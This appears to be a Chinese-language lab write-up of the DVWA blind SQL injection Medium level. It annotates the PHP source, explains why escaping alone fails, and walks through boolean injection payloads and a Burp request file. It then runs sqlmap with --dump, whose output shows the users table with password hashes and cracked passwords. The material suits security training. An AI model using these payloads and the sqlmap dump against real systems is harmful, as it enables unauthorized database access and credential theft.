目录
DVWA(Damn Vulnerable Web Application)中的 SQL Injection(Blind)布尔盲注关卡是用于练习和演示 SQL 盲注攻击的不同场景,不同安全等级存在不同的安全风险和绕过方法,本小节对中等级别的关卡进行渗透实战。
一、SQL盲注
SQL 盲注是 SQL 注入攻击的一种特殊形式,当应用程序执行 SQL 查询后不返回具体数据,但会通过页面显示状态差异(如返回内容是否存在、响应时间长短)间接暴露一些信息。攻击者无法直接看到查询结果,需通过构造包含逻辑条件(如AND/OR)或时间延迟(如sleep()函数)的SQL语句,逐次枚举来推断数据库内容。以布尔盲注为例,手工渗透步骤如下所示。
步骤 | 描述 | 示例 |
---|---|---|
验证注入点 | 构造特殊输入,根据返回结果判断是否存在注入点 | 输入: 输入: |
枚举数据库名长度 | 通过比较数据库名长度来确定具体长度 | id=1 AND LENGTH(DATABASE())=8 -- (假设数据库名长度为 8) |
枚举数据库名 | 逐字符猜测数据库名 |
(猜测数据库名第一个字符为 'd') |
枚举表名 | 判断指定表名是否存在 | id=1 AND EXISTS(SELECT * FROM information_schema.tables WHERE table_name='users') # (判断是否存在名为 'users' 的表) |
枚举列名 | 判断指定列名是否存在 |
(判断 'users' 表中是否存在 'username' 列) |
枚举数据 | 逐字符猜测元素的值 |
(猜测 'users' 表中第一条记录的 'username' 列第一个字符为 'a') |
二、代码审计(Medium级别)
1、index.php
进入DVWA靶场源目录,找到index.php源码。
这段代码实现了
这段 PHP 代码是 Damn Vulnerable Web Application (DVWA) 中 SQL盲注演示页面的主控制器,根据用户设置的安全级别(低 / 中 / 高 / 安全)加载不同级别安全成都程度的代码,通过表单让用户输入或选择用户 ID,动态生成页面并展示查询结果,同时检测 PHP 不安全配置并提供 SQL 注入学习资源链接,用于演示不同防护等级下的盲注攻击场景及防御方式。
经过注释后的详细代码如下所示。
<?php
// 定义网站根目录路径常量,用于后续文件引用
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
// 引入DVWA页面基础功能库
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
// 启动页面,验证用户是否已认证并初始化PHPIDS(入侵检测系统)
dvwaPageStartup( array( 'authenticated', 'phpids' ) );
// 创建新页面实例
$page = dvwaPageNewGrab();
// 设置页面标题
$page[ 'title' ] = 'Vulnerability: SQL Injection (Blind)' . $page[ 'title_separator' ].$page[ 'title' ];
// 设置页面ID,用于导航和标识
$page[ 'page_id' ] = 'sqli_blind';
// 添加帮助按钮和源代码按钮
$page[ 'help_button' ] = 'sqli_blind';
$page[ 'source_button' ] = 'sqli_blind';
// 连接数据库
dvwaDatabaseConnect();
// 设置HTTP请求方法(默认为GET)
$method = 'GET';
// 初始化安全风险级别对应的源文件
$vulnerabilityFile = '';
// 根据安全级别Cookie值选择不同级别的实现文件
switch( $_COOKIE[ 'security' ] ) {
case 'low':
// 低安全级别:存在明显SQL注入安全风险
$vulnerabilityFile = 'low.php';
break;
case 'medium':
// 中安全级别:部分防御措施,使用POST方法和下拉菜单
$vulnerabilityFile = 'medium.php';
$method = 'POST';
break;
case 'high':
// 高安全级别:增强防御,但仍可能存在安全风险
$vulnerabilityFile = 'high.php';
break;
default:
// 安全模式:使用预处理语句,理论上无SQL注入风险
$vulnerabilityFile = 'impossible.php';
break;
}
// 引入选定的实现文件
require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/sqli_blind/source/{$vulnerabilityFile}";
// 检查PHP配置中的安全风险
$WarningHtml = '';
// 检测Magic Quotes是否启用(已弃用的安全机制)
if( ini_get( 'magic_quotes_gpc' ) == true ) {
$WarningHtml .= "<div class=\"warning\">The PHP function \"<em>Magic Quotes</em>\" is enabled.</div>";
}
// 检测Safe Mode是否启用(已弃用的安全机制)
if( ini_get( 'safe_mode' ) == true ) {
$WarningHtml .= "<div class=\"warning\">The PHP function \"<em>Safe mode</em>\" is enabled.</div>";
}
// 构建页面主体内容
$page[ 'body' ] .= "
<div class=\"body_padded\">
<h1>Vulnerability: SQL Injection (Blind)</h1>
{$WarningHtml}
<div class=\"vulnerable_code_area\">";
// 根据不同安全级别显示不同的用户交互界面
if( $vulnerabilityFile == 'high.php' ) {
// 高级别安全:通过JavaScript弹窗设置用户ID
$page[ 'body' ] .= "Click <a href=\"#\" onclick=\"javascript:popUp('cookie-input.php');return false;\">here to change your ID</a>.";
}
else {
// 低、中级别安全:显示表单让用户输入ID
$page[ 'body' ] .= "
<form action=\"#\" method=\"{$method}\">
<p>
User ID:";
// 中级别安全:使用下拉菜单限制用户选择范围
if( $vulnerabilityFile == 'medium.php' ) {
$page[ 'body' ] .= "\n <select name=\"id\">";
// 查询用户数量用于生成下拉选项
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$num = mysqli_fetch_row( $result )[0];
$i = 0;
// 动态生成下拉选项(1到用户总数)
while( $i < $num ) { $i++; $page[ 'body' ] .= "<option value=\"{$i}\">{$i}</option>"; }
$page[ 'body' ] .= "</select>";
}
else
// 低级别安全:允许用户自由输入
$page[ 'body' ] .= "\n <input type=\"text\" size=\"15\" name=\"id\">";
$page[ 'body' ] .= "\n <input type=\"submit\" name=\"Submit\" value=\"Submit\">
</p>\n";
// 安全模式:添加CSRF防护令牌
if( $vulnerabilityFile == 'impossible.php' )
$page[ 'body' ] .= " " . tokenField();
$page[ 'body' ] .= "
</form>";
}
// 显示查询结果(由引入对应级别的文件生成)
$page[ 'body' ] .= "
{$html}
</div>
<h2>More Information</h2>
<ul>
// 提供SQL注入相关的参考链接
<li>" . dvwaExternalLinkUrlGet( 'http://www.securiteam.com/securityreviews/5DP0N1P76E.html' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/SQL_injection' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Blind_SQL_Injection' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'http://bobby-tables.com/' ) . "</li>
</ul>
</div>\n";
// 输出最终HTML页面
dvwaHtmlEcho( $page );
?>
2、Medium.php
进入DVWA靶场源目录,找到Medium.php源码。
打开源码low.php,分析可知这段代码实现了用户 ID 验证功能,如下所示。
对比low关卡,源码如下所示。
代码的功能如下所示。
- 检查是否通过 POST 方法提交了表单。
- 从 POST 参数中获取用户输入的 ID,并使用mysqli_real_escape_string函数进行转义处理。
- 构建 SQL 查询语句,将转义后的用户输入 ID 拼接到 SQL 中,查询users表中是否存在该用户 ID。
- 执行 SQL 查询,并获取查询结果的行数。
- 根据查询结果行数判断用户是否存在,并返回相应的反馈信息。
不过代码具有SQL注入风险,具体如下所示。
- 虽然使用了mysqli_real_escape_string函数对用户输入进行转义处理,但这种转义并非万无一失。如果攻击者能够绕过转义机制,仍然可以构造恶意的 SQL 语句。
- 代码中没有对用户输入进行严格的格式验证,例如限制输入必须为数字等。这使得攻击者有可能输入非数字字符,从而导致 SQL 注入安全风险。
详细注释后的代码如下所示。
<?php
// 检查是否通过POST方法提交了表单
if( isset( $_POST[ 'Submit' ] ) ) {
// 从POST参数中获取用户输入的ID
$id = $_POST[ 'id' ];
// 使用mysqli_real_escape_string函数对用户输入的ID进行转义处理
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR))? "" : ""));
// 构建SQL查询语句,将转义后的用户输入ID拼接到SQL中
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
// 执行SQL查询,移除了'or die'以隐藏数据库错误信息
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid );
// 获取查询结果的行数,使用@符号抑制可能出现的错误信息
$num = @mysqli_num_rows( $result );
// 根据查询结果行数判断用户是否存在
if( $num > 0 ) {
// 用户存在时的反馈信息
$html .= '<pre>User ID exists in the database.</pre>';
}
else {
// 用户不存在时的反馈信息
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
// 关闭数据库连接(此处代码被注释掉,实际未执行关闭操作)
//mysql_close();
}
?>
3、渗透思路
(1)SQL安全问题分析
本关卡具有布尔注入的可能性,原因如下所示。
- 输入验证不严格:
- 虽然使用了mysqli_real_escape_string函数对用户输入进行转义,但该函数并非绝对安全。如果攻击者能够找到绕过转义的方法,就可以构造恶意的 SQL 语句。
- 代码没有对用户输入进行严格的格式验证,例如限制输入必须为数字。这使得攻击者可以输入非数字字符,从而为构造布尔注入语句提供了可能。
- 基于布尔结果的反馈:
- 代码根据查询结果的行数来返回不同的反馈信息,即如果查询到记录,返回 “User ID exists in the database.”;如果未查询到记录,返回 “User ID is MISSING from the database.”。
- 攻击者可以利用这种布尔结果的反馈来判断注入语句是否成功。例如,构造一个条件语句,使得只有在满足特定条件时才会查询到记录,从而根据返回的反馈信息来推断条件是否成立。
(2)SQL注入渗透思路
原始SQL语句:SELECT first_name, last_name FROM users WHERE user_id = $id;
注入语句:输入1 OR 1=1#
会导致 SQL 变为如下内容。
SELECT first_name, last_name FROM users WHERE user_id = 1 or 1=1#;
由于1=1恒为真,且#注释掉后面的单引号,该查询会返回所有用户记录,是可以查询到记录的情况。
三、渗透准备
1、配置security为Medium级别。
进入到SQL Injection(Blind)关卡Medium页面,完整URL地址具体如下所示。
http://192.168.59.1/dvwa/vulnerabilities/sqli/
2、配置字符集一致
参考SQL注入报错“Illegal mix of collations for operation ‘UNION‘”解决办法-CSDN博客
为避免使用联合注入法时报错“Illegal mix of collations for operation 'UNION'”,修改dvwa数据库user表的first_name与last_name字符集,如下图所示。
修改dvwa数据库user表的password字符集,如下图所示。
四、渗透实战
1、判断注入类型
进入到SQL盲注medium关卡,相对于low关卡,不可以是自选输入,而只能是1-5,如下所示。
开启bp拦截,选择参数1,显示“User ID exists in the database.”,如下所示。
由于报文是POST方式传递,为方便渗透,使用burpsuite进行后续渗透,使用bp抓到此报文,发送到repeater。
将报文发送到repeater,具体如下所示。
输入1 or 1=1#,没有显示所有列表,而是显示“User ID exists in the database.”。
输入不存在的id,-1,显示“User ID is MISSING from the database”,具体如下所示。
输入-1',这种会导致数据库报错的注入语句,仍然提示“User ID is MISSING from the database”,具体如下所示。
说明这是布尔型注入,正确执行显示“User ID exists in the database.”,错误时显示“User ID is MISSING from the database”,这与源码分析的结果一致。
2、sqlmap渗透测试
(1)bp抓包
由于DVWA需要登录后才能使用,故而不可以直接是用sqlmap直接渗透,bp抓包,找到上一步渗透的报文,右键copy to file,具体如下所示。
将报文另存为sql-medium.txt,具体如下所示。
打开sql-medium.txt,修改为如下内容,注意在id赋值后面加上*,指明注入点的位置。
POST /dvwa/vulnerabilities/sqli_blind/ HTTP/1.1
Host: 192.168.59.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.1/dvwa/vulnerabilities/sqli_blind/
Cookie: security=medium; PHPSESSID=tssqfshe2838kcg5nbkf4464u3
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
id=1*#&Submit=Submit
(2)sqlmap渗透
注入命令如下所示,注意增加了参数not-string指明查询错误时的关键字。
sqlmap -r sql-medium.txt --current-db --batch --dump --technique=B --not-string="MISSING"
渗透结果如下所示,成功获取到user表的所有内容。
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 32 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2990=2990#&Submit=Submit
---
[09:46:25] [INFO] testing MySQL
[09:46:25] [INFO] confirming MySQL
[09:46:26] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.0
[09:46:26] [INFO] fetching current database
[09:46:26] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[09:46:26] [INFO] retrieved: dvwa
current database: 'dvwa'
[09:46:26] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[09:46:26] [INFO] fetching current database
[09:46:26] [INFO] fetching tables for database: 'dvwa'
[09:46:26] [INFO] fetching number of tables for database 'dvwa'
[09:46:26] [INFO] retrieved: 2
[09:46:28] [INFO] retrieved: guestbook
[09:46:30] [INFO] retrieved: users
[09:46:31] [INFO] fetching columns for table 'users' in database 'dvwa'
[09:46:31] [INFO] retrieved: 8
[09:46:31] [INFO] retrieved: user_id
[09:46:36] [INFO] retrieved: first_name
[09:46:38] [INFO] retrieved: last_name
[09:46:39] [INFO] retrieved: user
[09:46:40] [INFO] retrieved: password
[09:46:41] [INFO] retrieved: avatar
[09:46:43] [INFO] retrieved: last_login
[09:46:45] [INFO] retrieved: failed_login
[09:46:48] [INFO] fetching entries for table 'users' in database 'dvwa'
Database: dvwa
Table: users
[5 entries]
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | user | avatar | password | last_name | first_name | last_login | failed_login |
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
| 3 | 1337 | /hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2025-05-15 09:56:46 | 0 |
| 1 | admin | /hackable/users/admin.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin | admin | 2025-05-15 09:56:46 | 0 |
| 2 | gordonb | /hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | 2025-05-15 09:56:46 | 0 |
| 4 | pablo | /hackable/users/pablo.jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | 2025-05-15 09:56:46 | 0 |
| 5 | smithy | /hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | 2025-05-15 09:56:46 | 0 |
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+